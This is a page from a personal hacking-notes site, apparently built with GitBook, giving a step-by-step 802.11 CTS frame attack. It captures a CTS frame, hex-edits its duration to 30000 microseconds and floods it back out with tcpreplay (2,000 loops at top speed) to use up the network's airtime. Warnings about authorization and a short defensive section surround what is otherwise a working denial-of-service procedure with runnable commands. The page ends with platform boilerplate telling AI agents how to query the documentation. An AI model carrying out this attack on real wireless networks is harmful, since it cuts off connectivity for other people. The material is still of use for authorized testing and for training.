> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md).
# CTS Frame Attack - Network Bandwidth Hijacking
Analyze CTS control frames and their effect on wireless medium availability.
The IEEE 802.11 standard defines RTS (*Request to Send*) and CTS (*Clear to Send*) control frames to reduce long collisions caused by hidden nodes.
### RTS and CTS control frames
A CTS frame includes a duration value. This value is expressed in microseconds and ranges from `0` to `32767`.
### Inspect a CTS frame
An abnormally high duration value can reserve the wireless medium for longer than expected. The receiver address identifies the access point, and the FCS provides frame integrity checking.
{% hint style="warning" %}
Before testing control frames, confirm authorization, target devices, and recovery steps. Manipulated CTS frames can disrupt wireless connectivity.
{% endhint %}
### Capture the authorized network
Start Airodump-ng on the target channel:
{% code overflow="wrap" %}
```bash
airodump-ng --channel 11 -w CAPTURE --essid ATIC2 wlan0mon
```
{% endcode %}
### Identify CTS frames
Use TShark to display CTS frames from the capture:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" 2>/dev/null
```
{% endcode %}
The output confirms whether the capture contains CTS (*Clear to Send*) frames.
### Review duration values
List unique CTS duration values:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tfields -e wlan.duration 2>/dev/null | sort -u
```
{% endcode %}
Alternatively, inspect the duration field in JSON output:
{% code overflow="wrap" %}
```bash
tshark -r CAPTURE-01.cap -Y "wlan.fc.type_subtype==28" -Tjson 2>/dev/null | grep 'wlan.duration'
```
{% endcode %}
### Validate the impact
Use a dedicated access point and test client. Record a baseline before introducing any test frames.
1. Measure normal throughput, latency, and packet loss.
2. Use the access point BSSID as the receiver address.
3. Compare the measurements after the scoped test.
A duration of `30000` represents 30 milliseconds. The duration field uses microseconds, not milliseconds.
### Interpret the results
Repeated CTS frames with high duration values can cause nearby stations to defer transmission. This reduces available airtime and can lower network throughput.
Compare the captured duration values with the baseline. Record whether clients remain connected and whether performance recovers after the test stops.
### Document defensive findings
Report the affected channel, access point, test duration, and observed client impact. Include the baseline and recovery measurements.
Monitor for repeated CTS frames with unusual duration values. Keep access point firmware current and investigate unexpected airtime saturation.
### Inspect CTS frames with Wireshark
Open the capture directly in Wireshark:
{% code overflow="wrap" %}
```bash
wireshark CAPTURE-01.cap > /dev/null 2>&1 & disown
```
{% endcode %}
Apply the following display filter:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
The IEEE 802.11 details also show the duration value (110 microseconds)
### Export a selected CTS frame
Select a CTS frame and use **File → Export Specified Packets**. Choose **Selected packet only** to export only that frame.
### Inspect the exported frame with GHex
Open the exported capture with GHex:
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
The exported file may not contain the expected frame. In that case, capture directly from the monitor-mode interface and verify the frame in Wireshark.
### Capture directly with Wireshark
Capture directly when the exported file does not contain the expected CTS frame.
Open Wireshark, select the `wlan0mon` interface, and apply the CTS display filter:
{% code overflow="wrap" %}
```bash
wlan.fc.type_subtype==28
```
{% endcode %}
For example, the first frame shows a duration of 132 microseconds. Confirm that its destination address matches the authorized test access point.
Export the selected frame as `ctsframe.pcap`.
Open the file and locate the duration value. The bytes after the 12-character MAC address are `84 00`.
{% code overflow="wrap" %}
```bash
ghex ctsframe.pcap > /dev/null 2>&1 &
```
{% endcode %}
Converting `0x0084` to decimal produces the same value shown in the packet: 132.
{% code overflow="wrap" %}
```
python
0x0084
```
{% endcode %}
Convert 30000 to hexadecimal:
{% code overflow="wrap" %}
```python
python
hex(30000)
```
{% endcode %}
The result is:
* 0x7530
For this scoped test, replace `84 00` with `30 75`. The bytes use little-endian order.
Open the capture again to verify the change:
{% code overflow="wrap" %}
```bash
wireshark ctsframe.pcap > /dev/null 2>&1 & disown
```
{% endcode %}
Wireshark now shows a duration of 30,000 microseconds.
Before using the following command, confirm the target device, channel, duration, and recovery window. It repeatedly transmits the test frame to measure network impact.
{% code overflow="wrap" %}
```bash
tcpreplay --intf1=wlan0mon --topspeed --loop=2000 ctsframe.pcap 2>/dev/null
```
{% endcode %}
The command loops through 2,000 packets. Each packet advertises a 30,000-microsecond duration, which can exhaust available airtime.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/hacking-wifi/wpa-wpa2-psk-network-attacks/client-disruption-tests/cts-frame-attack-network-bandwidth-hijacking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
